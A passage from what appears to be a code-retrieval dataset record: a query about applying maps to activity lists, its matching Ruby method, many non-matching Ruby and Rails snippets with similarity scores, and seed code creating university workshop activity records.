render_to_string(template: \"events/show.csv.ruby\"), filename: \"event_#{@event.name}_#{@event.event_date.strftime(\"%Y%m%d\")}_#{@event.venue}.csv\", type: :csv\n end\n end\n end", "def select_account\n # updates projects based on the account selected\n projects = Project.all(:account_id => params[:account_id])\n # map to id for use in options_for_select\n @projects = projects.map{|a| a.id}\n # updates users based on the account selected\n users = User.all(:account_id => params[:account_id])\n # map to id for use in options_for_select\n @users = users.map{|a| a.id} \n end", "def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end", "def select\n new_list = TodoList.new(\"Selected Items\")\n\n each do |todo|\n new_list.add(todo) if yield(todo)\n end\n new_list\n end", "def tasks_by_filters\n to_include = [ :users, :tags, :sheets, :todos, :dependencies, \n :milestone, :notifications, :watchers, \n :customers ]\n to_include << { :work_logs => :user }\n to_include << { :company => :properties }\n to_include << { :project => :customer }\n to_include << { :task_property_values => { :property_value => :property } }\n to_include << { :dependants => [:users, :tags, :sheets, :todos, \n { :project => :customer }, :milestone ] }\n\n conditions = filter\n conditions += \" AND tasks.project_id in (#{ @select_project_ids })\"\n conditions += \" AND #{ @extra_conditions }\" if !@extra_conditions.blank?\n\n Task.find(:all, \n :conditions => [ conditions ],\n :include => to_include, \n :limit => 250,\n :order => \"tasks.id desc\")\n end", "def index\n @activities = Activity.scheduled( current_user ).joins( :project ).where( 'projects.completed' => false ).paginate( :page => params[:page], :conditions => search_conditions )\n\n filter_by_tags\n user_sorting\n \n respond_to do |format|\n format.js { }\n format.html { }\n format.xml { render :xml => @activities }\n format.json { render :json => @activities }\n end\n end", "def get_activities\n @params=task_params\n @project=current_user.projects.find(@params[:project_id])\n counter=0\n @res=[]\n @project.activities.each do |p|\n if p.users.include? current_user\n @res[counter]={\n activity_id: p.id, \n name: p.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end", "def set_activities_for_pagination\n \n end", "def index\n @apply_activities = ApplyActivity.all\n end", "def get_tags_for_select() tag_ids.inject([]) { |l, tag_id| l << [get_tag_from_id(tag_id).label, tag_id] } end", "def execute(items)\n if by_no_approvals?\n without_approvals(items)\n elsif by_any_approvals?\n with_any_approvals(items)\n elsif ids.present?\n find_approved_by_ids(items)\n elsif usernames.present?\n find_approved_by_names(items)\n else\n items\n end\n end", "def activities_for_facility(fac_id, params = {})\n path = \"#{ROOT_FACILITIES}/#{fac_id}#{ROOT_ACTIVITIES}\"\n\n pagination_loop(params) do |p, c|\n api_call(path, params)\n end\n end", "def activities_for(filter: nil, type: _feed_type)\n Feed::ActivityList.new(self).filter(filter).with_type(type)\n end", "def select(*args)\n @results = nil\n except(:select)\n @builder = builder.select(*args)\n self\n end", "def sublist(&block)\n @tasks.select(&block)\n end", "def select\n C.curry.(\n ->(f, xs) {\n _f = ->(acc, x) {\n f.(x) == true ? concat.(acc, [x]) : acc\n }\n\n C.fold.([], _f, xs)\n }\n )\n end", "def selectize_multi_select(key, *values)\n values.flatten.each do |value|\n open_selectize_chooser(key)\n execute_script(\"\n #{find_selectized_control_js(key)}.querySelector('input').value = '#{value}';\n document.querySelector$('##{key}.selectized').selectize.createItem();\n \")\n end\n end", "def all_activities\n t = PublicActivity::Activity.arel_table\n PublicActivity::Activity.where(\n t[:trackable_id].eq(id).and(t[:trackable_type].eq(Classroom.to_s)).or(\n t[:recipient_id].eq(id).and(t[:recipient_type].eq(Classroom.to_s))\n )\n ).reverse_order\n end", "def select(*args); dataset.select(*args); end", "def index\n @activity = Activity.where(\"a_type= 'vakcinacija' OR a_type= 'lecenje'\").sort_by{|a| a[:date]}\n end", "def selectors\n if resource_rule? # Resource specific rules\n i = [{type: 'resource'}]\n i = i.product(api_groups) if api_groups.any?\n i = i.product(resources) if resources.any?\n i = i.product(verbs) if verbs.any?\n else # Non-resource URLs rules\n i = [{type: 'non-resource'}]\n i = i.product(urls) if urls.any?\n i = i.product(verbs) if verbs.any?\n end\n\n i.map do |x|\n x.flatten.reduce(&:merge)\n end\n end", "def update_activities(arr)\n self.activities.destroy_all\n arr.each do |atts|\n self.activities.create!(atts.merge({\n :start_at => sync_time(atts[:start_at]),\n :end_at => sync_time(atts[:end_at])\n }))\n end\n end", "def render_select(leadership, members)\n (members.map { |p| render_select_member(leadership, p)}).join\n end", "def case_activity_list\n\t\t@case_activitites = @surgery_case.case_activities\n\tend", "def build_activities(id=nil)\n @doc.xpath('//xmlns:Activity', namespaces).map do |activity_node|\n # Assuming only 1 activity in a file for now. This will need to be fixed.\n @activities_obj = build_activity(activity_node)\n end\n end", "def gifts_setup\n @activities = Activity.all.sort{|a,b| a.name.downcase <=> b.name.downcase }\n #@activities = Activity.all\n #@activities = Activity.all.sortby(:name)\n #@activities = Activity.all.map { |activity| [ activity.name, activity.id ] }\n end", "def select(params = {})\n if params.has_key?(:path)\n path_regex = params[:path]\n path_regex = Regexp.new(path_regex.to_s) unless path_regex.is_a?(Regexp)\n selector = lambda {|agent| agent.config_path && path_regex.match(agent.config_path) }\n notify(:msg => \"[#{@name}] Selecting all services for path #{path_regex.inspect}\",\n :tags => [:galaxy, :trace])\n elsif params.has_key?(:type)\n type_regex = params[:type]\n type_regex = Regexp.new(type_regex.to_s) unless type_regex.is_a?(Regexp)\n selector = lambda {|agent| agent.config_path && type_regex.match(agent.type) }\n notify(:msg => \"[#{@name}] Selecting all services of type #{type_regex.inspect}\",\n :tags => [:galaxy, :trace])\n elsif params.has_key?(:core_type)\n core_type_regex = params[:core_type]\n core_type_regex = Regexp.new(core_type_regex.to_s) unless core_type_regex.is_a?(Regexp)\n selector = lambda {|agent| agent.config_path && core_type_regex.match(agent.core_type) }\n notify(:msg => \"[#{@name}] Selecting all services of core type #{core_type_regex.inspect}\",\n :tags => [:galaxy, :trace])\n elsif params.has_key?(:host) || params.has_key?(:hosts)\n host_names = arrayify(params[:host]) & arrayify(params[:hosts])\n selector = lambda {|agent| host_names.include?(agent.host) }\n notify(:msg => \"[#{@name}] Selecting all services for hosts #{host_names.inspect}\",\n :tags => [:galaxy, :trace])\n else\n notify(:msg => \"[#{@name}] Selecting all services\",\n :tags => [:galaxy, :trace])\n end\n command = ::Galaxy::Commands::ShowCommand.new([], @galaxy_options)\n command.report = GalaxyGatheringReport.new(@environment)\n agents = command.select_agents({})\n agents.each { |agent| agent.proxy = ::Galaxy::Transport.locate(agent.url) if agent.url }\n command.execute(agents)\n command.report.results.select {|result| selector.nil? || selector.call(result) }\n end", "def calcula_listado_ac(actividadpf_ids, fini, ffin)\n lac = Cor1440Gen::Actividad.joins(:actividadpf)\n .where(\"fecha >= ?\", fini)\n .where(\"fecha <= ?\", ffin)\n lac = if actividadpf_ids.count > 0\n lac.where(\"cor1440_gen_actividadpf.id\": actividadpf_ids)\n else\n lac.where(\"FALSE\")\n end\n\n lac.pluck(:id).uniq\n end", "def elements_for_select(elements)\n return [] if elements.nil?\n options = elements.collect do |e|\n [\n Element.display_name_for(e['name']),\n e['name']\n ]\n end\n options_for_select(options)\n end", "def today_selection(chosen_today_activity)\n if chosen_today_activity <= 10\n puts \"\\n#{today_activities[chosen_today_activity-1][:description]}\"\n @selected_activity << today_activities[chosen_today_activity-1][:title] \n today_return_menu\n else\n if chosen_today_activity == 11\n welcome_header\n main_menu\n end\n end\n \n end", "def select\n @type = params[:type]\n @hosts = Host.all :select => \"id, name\" , :conditions => { :tenant_id => current_user.tenant_id } if @type == \"host\"\n @apps = App.all :select => \"id, name\" , :conditions => { :tenant_id => current_user.tenant_id } if @type == \"app\"\n @sites = Site.all :select => \"id, name\" , :conditions => { :tenant_id => current_user.tenant_id } if @type == \"site\"\n @devices = Device.all :select => \"id, name\" , :conditions => { :tenant_id => current_user.tenant_id } if @type == \"device\"\n end", "def set_activities_by_month\n begin\n @start_date = Date.parse(params[\"start_date\"])\n rescue\n @start_date = Date.today\n params[\"start_date\"] = @start_date\n end\n @activities = @user.activities.where(date: @start_date.at_beginning_of_month..@start_date.at_end_of_month)\n end", "def activities(params = {})\n scope 'default'\n get('activities/', params)\n end", "def select_options(access = :deposit)\n @service.search_results(access).map do |admin_set|\n [admin_set.to_s, admin_set.id, data_attributes(admin_set)]\n end\n end", "def select_all; end", "def activities\n @grouped_activities.flatten\n end", "def selectors\n find_related_frbr_objects( :is_selected_by, :which_roles?) \n end", "def already_have_activity(dogs, activity)\n Feed.find(:all, :select => \"DISTINCT dog_id\",\n :conditions => [\"dog_id IN (?) AND activity_id = ?\",\n dogs, activity]).map{|f| [f.dog_id, f.person_id]} \n end", "def activity_list es\n class_names = es.map(&:class_name).uniq.select {|cn| class_months(es, cn).count >= 4 }\n last_date = last_commit_month(es)\n class_names.map {|cn| [percent_active(es, cn, last_date), cn] }\n .sort_by(&:first)\n .reverse\nend", "def saveActivites(parms)\n if parms\n self.activite_ids = parms.values\n else\n self.activites.clear\n end\n end", "def activities\n get_call(\"1/activities.json\")\n end" ]
[ "0.6442994", "0.60215604", "0.5988974", "0.58915347", "0.5603983", "0.5514797", "0.5381529", "0.5367649", "0.53102094", "0.53046393", "0.5258408", "0.525116", "0.5146421", "0.51230043", "0.5085533", "0.50769484", "0.50742334", "0.5048962", "0.5036012", "0.5015167", "0.50121546", "0.50099194", "0.4954523", "0.493987", "0.48889688", "0.48886487", "0.48846787", "0.48846787", "0.4865902", "0.48529968", "0.48052913", "0.4802317", "0.47872123", "0.47714043", "0.47642577", "0.47618794", "0.47371593", "0.47251365", "0.47218823", "0.47212178", "0.47151756", "0.47019443", "0.46804425", "0.4673465", "0.46659213", "0.46614346", "0.46573228", "0.46559912", "0.46540618", "0.4651876", "0.46393707", "0.46390176", "0.46343637", "0.4631398", "0.46242183", "0.4623171", "0.46036136", "0.4596121", "0.45960194", "0.45930648", "0.45878714", "0.45827702", "0.45827293", "0.4576498", "0.45684388", "0.45639774", "0.4556172", "0.455544", "0.45539203", "0.45412663", "0.45331618", "0.4532666", "0.45252532", "0.45163232", "0.4512484", "0.45119673", "0.44837692", "0.44815537", "0.44749138", "0.44641012", "0.4463619", "0.44617796", "0.44613495", "0.44612727", "0.4460367", "0.4457048", "0.44559976", "0.44553027", "0.44481084", "0.44460708", "0.4444524", "0.44380412", "0.44349563", "0.44265285", "0.44242734", "0.44232473", "0.442248", "0.44181457", "0.4416464", "0.44145876" ]
0.7477379
0
Apply a list of maps to the list of activities
def apply_maps(activities, maps) return activities if maps.empty? activities.map do |act| if act['activities'] # Recurse into activity groups act['activities'] = apply_maps(act['activities'], maps) act else maps.reduce(act) { |acc, elem| elem.call(acc) } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def wrap(activities)\n activities.map do |act|\n if act['activities']\n # Feed::ActivityGroup automatically converts activites in it\n Feed::ActivityGroup.new(opts[:feed], act)\n else\n Feed::Activity.new(opts[:feed], act)\n end\n end\n end", "def build_activity_oid_map()\n activity_object_ids = {}\n activities = @primavera.get_activities(P6_PROJECT_ID)\n activities.each do |activity|\n activity_object_ids[activity[:id]] = activity[:object_id]\n end\n activity_object_ids\nend", "def map_actions\n actions = []\n return actions if @unmapped_items.empty?\n free_tems_with_sec(:mapper).each do |tem|\n break unless item = @unmapped_items.pop\n @free_tems.delete [@rindex_tems[tem], tem]\n actions.push :action => :map, :item => item, :with => tem,\n :output_id => next_output_id\n end\n actions\n end", "def map(*args)\n each {|x| x.map(*args)}\n end", "def update_activities(arr)\n self.activities.destroy_all\n arr.each do |atts|\n self.activities.create!(atts.merge({\n :start_at => sync_time(atts[:start_at]),\n :end_at => sync_time(atts[:end_at])\n }))\n end\n end", "def activities\n Activity.where(\"action_item_uuid in (?)\", action_items.collect(&:uuid))\n end", "def map(*args, &blk) values.map(*args, &blk) ; end", "def map(list, &function)\n list.reduce([]) do |acc, val|\n acc.push function.call(val)\n end\nend", "def apply_selects(activities, selects, grouped = false)\n return activities if selects.empty?\n # We use map+reject(blank) so that we can modify the activities in the\n # groups\n activities = activities.lazy.map do |act|\n if act['activities'] # recurse into activity groups\n catch(:remove_group) do\n act['activities'] = apply_selects(act['activities'], selects, true)\n act\n end\n elsif grouped # Activity inside an ActivityGroup\n next unless selects.all? { |proc| proc.call(act) }\n act\n else # Top-level activities\n catch(:remove_group) do\n next unless selects.all? { |proc| proc.call(act) }\n act\n end\n end\n end\n activities = activities.reject do |act|\n act.blank? || (act['activities'] && act['activities'].blank?)\n end\n activities.to_a\n end", "def activities(params = {})\n rv = []\n try_again = true\n fetched = 0\n p = params.dup\n p[:offset] = 0\n\n while try_again do\n result = api_call(ROOT_ACTIVITIES, p)\n return nil if result.nil?\n rv += result[:results]\n\n meta = result[:meta]\n fetched += meta[:count]\n if fetched >= meta[:total]\n try_again = false\n else\n p[:offset] += meta[:count]\n end\n end\n\n rv\n end", "def restricted_map(callbacks); end", "def add_activities!(activities)\n activities.each do |activity|\n activity.slot.series.each do |time|\n activity.courts.each do |court|\n grid.fill(time, court.id, Table::Cell::Activity.new(activity,time))\n end\n end\n end\n end", "def apply_to_all(arg)\r\n\treturn lambda{|x| x.map{ |z| arg.call(z)}}\r\nend", "def mappa_e_appiattisci(&block)\n self.map.with_index(&block).flatten\n end", "def activities\n @grouped_activities.flatten\n end", "def map &block\n self.class.from_a enumerable_map(&block)\n end", "def map &block\n @legs.map &block\n end", "def preproc_workexperience_list\n res = []\n #@cur_we_only1empl = true # force to true...\n unless @cur_we_only1empl\n cur_workexperience_list.each do |item|\n item.activities = [item.activities]\n res << item\n end\n return res\n end \n #return cur_workexperience_list\n \n employer = {}\n cur_workexperience_list.each do |item|\n det = employer[item.employer]\n det = [] unless det\n det << item\n employer[item.employer] = det\n end\n employer.each do |k,v|\n if v.size == 1\n #v[0].activities = [v[0].activities]\n #v[0].activities.flatten!\n v[0].set_cumulated_activities([v[0].activities])\n res << v[0]\n else\n #p v\n # we have more that one activity pro employer\n # first get date, min and max\n min_date_item = v.min{|a,b| a.date_from <=> b.date_from }\n max_date_item = v.max{|a,b| a.date_to <=> b.date_to }\n pos = []\n aa = v.sort do |a,b| \n if b.is_date_to_now\n 1\n else\n b.date_from <=> a.date_from\n end\n end\n aa.each do |ele|\n #p ele.from.strftime(\"%d.%m.%Y\")\n pos << ele.position.split(',')\n end\n position = arr_word_list(pos)\n \n activities = []\n aa.each do |ele|\n ele.activities\n #p ele.from\n activities << ele.activities\n end\n sect_arr = []\n aa.each do |ele|\n sect_arr << ele.sector.split(',')\n end\n sector = arr_word_list(sect_arr)\n \n wenew = Workexperience.new\n wenew.date_from = min_date_item.date_from\n wenew.date_to = max_date_item.date_to\n wenew.is_date_to_now = max_date_item.is_date_to_now\n wenew.position = position\n wenew.set_cumulated_activities(activities)\n wenew.sector = sector\n wenew.employer = v[0].employer\n res << wenew \n end\n end\n #res.each{|e| p e}\n return res\n end", "def activities\n add_to_query restrict_kind: 'activity'\n end", "def all_activities\n activities = []\n self.expenses.each do |expense|\n activities += [{:type => \"expense\", :object => expense}]\n end\n self.charges.each do |charge|\n activities += [{:type => \"charge\", :object => charge}]\n end\n activities.sort do |a, b|\n # TODO: what is this printing for?\n puts \"A\", a\n puts \"B\", b\n b[:object].created_at <=> a[:object].created_at\n end\n end", "def activities(per_page: nil, page: nil)\n if page || per_page\n get_activities(per_page: per_page, page: page)\n else\n get_activities if @activities.empty?\n @activities.values\n end\n end", "def map(*args, &block)\n @app.map(*args.unshift(@names), &block)\n end", "def map list, &block\n list.map(&block)\nend", "def assemble(results, map)\n list = []\n results.each do |result|\n if map[result.id.to_s]\n list << result\n list += assemble(map[result.id.to_s], map)\n else\n list << result\n end\n end\n list\n end", "def map_events\n mapped_timeline = Timeline.new\n self.each do |time,events|\n mapped_timeline[time] = events.map{|event| yield event }\n end\n mapped_timeline\n end", "def map! &block\n mapped = enumerable_map(&block)\n clear\n merge mapped\n end", "def flattened_map_filter(attributes, &block)\n attributes.inject([]) do |result, (name, attr)|\n if attr.is_a? Hash\n value = flattened_map_filter(attr, &block)\n result + value\n else\n value = yield(attr)\n result + [value].reject(&:nil?)\n end\n end\n end", "def map(defined_map)\n defined_map.execute\n end", "def map\n C.curry.(\n ->(f, xs) {\n _f = ->(acc, x) {\n concat.(acc, [f.(x)])\n }\n\n C.fold.([], _f, xs)\n }\n )\n end", "def process_weekend_activities\n i=0\n while i < 10\n item = {name: weekend_activities[i][:title], value: i+1.to_i} \n \n @processed_weekend << item\n \n i += 1 \n end \n \n end", "def add_actions(action_map)\n authority_action_map.merge!(action_map)\n end", "def map(olympians)\n only_athletes=[]\n for x in olympians\n if x[:event] == \"Swimming\"\n only_athletes.push(x)\n end\nend\nreturn only_athletes\nend", "def map_activities_n_donors()\n @donors = Donor.all.map { |donor| [donor.full_name_id, donor.id]}\n @activities = Activity.all.map { |activity| [ activity.name, activity.id ] }\n end", "def tracker_activities\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities = JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n while next_ind.positive? do\n resp = @conn.get(\"projects/#{@project}/activity?limit=1000&offset=#{next_ind}&occurred_after=#{(Time.now - 14*60*60*24).iso8601}\")\n @tracker_activities += JSON.parse(resp.body, symbolize_names: true)\n next_ind = next_page(resp)\n end\n end", "def collect(mapping)\n Collector.new(mapping, runner).run(@changes, @history)\n end", "def process_events(lesson, events_attributes)\n return if events_attributes.blank?\n\n events_attributes.map do |event_attributes|\n process_event(event_attributes, lesson.repository, lesson.id)\n end\n end", "def fMapOfAllEvents\n @sports.mapOfAllEvents\n end", "def activities_for_facility(fac_id, params = {})\n path = \"#{ROOT_FACILITIES}/#{fac_id}#{ROOT_ACTIVITIES}\"\n\n pagination_loop(params) do |p, c|\n api_call(path, params)\n end\n end", "def map_compose(map1, map2)\n map1.transform_values &map2.method(:fetch)\nend", "def process_today_activities\n i=0\n while i < 10\n item = {name: today_activities[i][:title], value: i+1.to_i} \n \n @processed_today << item\n \n i += 1 \n end \n \n end", "def mut_map( muts: muts)\n aggregate_muts(muts: muts).compact\n end", "def map(&block)\n resources.map(*args, &block)\n end", "def map(scopes)\n scpes = Array(scopes.to_a).reduce([]){|memo, sc|\n memo + Array(@mapping.fetch(sc, sc))\n }.uniq\n\n Scopes.wrap(scpes)\n end", "def map_in_parallel(items, &block)\n Parallel.map(items, in_threads: Parallel.processor_count) do |item|\n block.call(item)\n end\n end", "def maps\n (contents.collect { |content| content.map }).flatten\n end", "def chain_map(value, arr)\n arr.each do |proc_idx|\n value = proc_idx.call(value)\n end\n value\nend", "def update_activities!\n _, _, host, = URI.split url\n PublicActivity::Activity.where(trackable: self).update_all(\n parameters: {\n namespace_id: namespace.id,\n namespace_name: namespace.clean_name,\n webhook_url: url,\n webhook_host: host\n }\n )\n end", "def build_activities(id=nil)\n @doc.xpath('//xmlns:Activity', namespaces).map do |activity_node|\n # Assuming only 1 activity in a file for now. This will need to be fixed.\n @activities_obj = build_activity(activity_node)\n end\n end", "def activities\n get_call(\"1/activities.json\")\n end", "def process_end()\n if self.parser.options[:list_activities]\n @sp.activity_map.keys.sort.each { |ak| self.output.printf(\"#-- Activity %s\\n\", ak) }\n end\n\n if self.parser.options[:map_activities]\n @sp.activity_map.keys.sort.each do |ak|\n self.output.printf(\"#-- Activity %s\\n\", ak)\n self.activities_map[ak].each do |url|\n self.output.printf(\"#-- Park %s\\n\", url)\n end\n end\n end\n\n super()\n end", "def render_activities(activities, options = {})\n activities.map { |activity| Renderable.render(activity, self, options.dup) }.join.html_safe\n end", "def chain_map(val, procs)\n procs.reduce(val) {|v, prc| prc.call(v)}\nend", "def activity_map_url\n url = \"http://maps.google.com/maps/api/staticmap?\"\n parts = []\n\n stops =\n activity.map do |act|\n CGI::escape(act.location.address.to_s)\n end.uniq.reverse\n\n path_parts = []\n path_parts << \"path=color:0x0000ff\"\n path_parts << \"weight:5\"\n stops.each { |addy| path_parts << addy }\n parts << path_parts.join('|')\n\n origin = stops.shift\n last = stops.pop\n\n parts << \"markers=color:red|size:mid|#{origin}\" if origin\n parts << \"markers=color:green|#{last}\"\n\n parts << 'size=512x512'\n parts << 'maptype=roadmap'\n parts << 'sensor=false'\n url += parts.join('&')\n url\n end", "def activity_map_url\n url = \"http://maps.google.com/maps/api/staticmap?\"\n parts = []\n\n stops =\n activity.map do |act|\n CGI::escape(act.location.address.to_s)\n end.uniq.reverse\n\n path_parts = []\n path_parts << \"path=color:0x0000ff\"\n path_parts << \"weight:5\"\n stops.each { |addy| path_parts << addy }\n parts << path_parts.join('|')\n\n origin = stops.shift\n last = stops.pop\n\n parts << \"markers=color:red|size:mid|#{origin}\" if origin\n parts << \"markers=color:green|#{last}\"\n\n parts << 'size=512x512'\n parts << 'maptype=roadmap'\n parts << 'sensor=false'\n url += parts.join('&')\n url\n end", "def activity_map_url\n url = \"http://maps.google.com/maps/api/staticmap?\"\n parts = []\n\n stops =\n activity.map do |act|\n CGI::escape(act.location.address.to_s)\n end.uniq.reverse\n\n path_parts = []\n path_parts << \"path=color:0x0000ff\"\n path_parts << \"weight:5\"\n stops.each { |addy| path_parts << addy }\n parts << path_parts.join('|')\n\n origin = stops.shift\n last = stops.pop\n\n parts << \"markers=color:red|size:mid|#{origin}\" if origin\n parts << \"markers=color:green|#{last}\"\n\n parts << 'size=512x512'\n parts << 'maptype=roadmap'\n parts << 'sensor=false'\n url += parts.join('&')\n url\n end", "def my_map_mod(&proc)\n array = []\n self.my_each do |item|\n array << proc.call(item)\n end\n array\n end", "def activities=(value)\n @activities = value\n end", "def awards_mapping(status = :confirmed)\n OFFERINGS_CACHE.fetch(\"awards_mapping_#{id}_#{status.to_s.underscore}\", :expires_in => 24.hours) do\n @apps = application_for_offerings.with_status(status)\n awards = {}\n for iapp in @apps\n award = iapp.other_awards.collect(&:scholar_title).flatten.compact\n for index in (0...award.length)\n awards[award[index]] = (awards[award[index]].nil? ? [iapp.id] : awards[award[index]] << iapp.id) unless award.blank? \n end\n end \n awards\n end\n end", "def map(&block)\n append(Transform.new(&block))\n end", "def map(&block)\n to_a.map(&block)\n end", "def map(&block)\n to_a.map(&block)\n end", "def update_with_mapping(attributes = {})\n attributes.each do |key, value|\n next unless (klass = self.class) and key.respond_to?(:to_sym) and to = klass.mappings[key.to_sym]\n\n block = klass.mappings_procs[to]\n value = block.call(value) if block\n\n instance_variable_set(\"@#{to}\", value)\n end\n end", "def scheduled_activities(validity=:sa_content)\n # TODO: how to memoize with proper cache invalidation?\n days = schedule(validity)['days']\n return {} unless days\n days.inject({}) do |index, (day, day_value)|\n day_value['activities'].each do |row|\n sa = Psc::ScheduledActivity.from_schedule(row)\n\n index[sa.id] = sa\n end\n index\n end\n end", "def objects\n\t\t\t\tparams=self.field_hash[:params]\n\t\t\t\tret=[]\n\t\t\t\tunless params.nil?\n\t\t\t\t\tactivity=params[:activity]\n\t\t\t\t\tparams.delete(:activity)\n\t\t\t\t\tret = {:act => activity, :obj => params.values}\n\t\t\t\tend\n\t\t\t\tret\n\t\t\tend", "def map(olympians)\n only_athletes = []\n for athlete in olympians\n if athlete[:event] == \"Atheletics\"\n only_athletes.push(athlete)\n end\nend\nreturn only_athletes\nend", "def many_behaviors_to(behaviors, params = {}, &conditional_block)\n behaviors.map { |b| b.to params, &conditional_block }\n end", "def map_input_tuples(tuples, &mapper)\n return enum_for(:with_input_tuples, tuples) unless mapper\n\n if tuples.respond_to? :merge\n mapper[tuples]\n else\n tuples.map(&mapper)\n end\n end", "def activities_for(filter: nil, type: _feed_type)\n Feed::ActivityList.new(self).filter(filter).with_type(type)\n end", "def make_all_activities\n\n a2 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"CIV1901\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EAWORK1\", archived: false, in_drive: false, user_id: 5)\n at2 = ActivityTimetable.where(activity_id: a2.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a2.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a2.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a2.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a2.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a2.id, programme_id: $prog_ae.id).first_or_create!\n\n\n a3 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"EEE126\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 4)\n at3 = ActivityTimetable.where(activity_id: a3.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a3.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a3.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a3.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a3.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a3.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a4 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"GEE101\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at4 = ActivityTimetable.where(activity_id: a4.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a4.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a4.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a4.id).first_or_create!(assess_weight: nil, notes: \"See Workshop 4\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a4.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a4.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a5 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"MEC1000\").first.id, code: \"100a\").first_or_create!(name: \"Engineering Applications Workshop 1\",\n name_abrv: \"EA GYRO\", archived: false, in_drive: false, user_id: 2)\n at5 = ActivityTimetable.where(activity_id: a5.id).first_or_create!(duration: 210, kit_prep_time: nil, min_week_num: 2, max_week_num: 37, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: 15, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 24, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a5.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a5.id).first_or_create!(criteria: \"\",\n job_desc:\"Your role will include supervising and assisting students to manufacture a gyroscopic car in the workshop, using mills, laser cutters, 3D printers, hand tools, metrology, metalworking, vacuum forming etc.\", jobshop_desc: \"GTA in MEE, the Diamond: Advanced Manufacturing Technology (AMT)\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a5.id).first_or_create!(assess_weight: nil, notes: \"Assessed in MEC130\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a5.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n 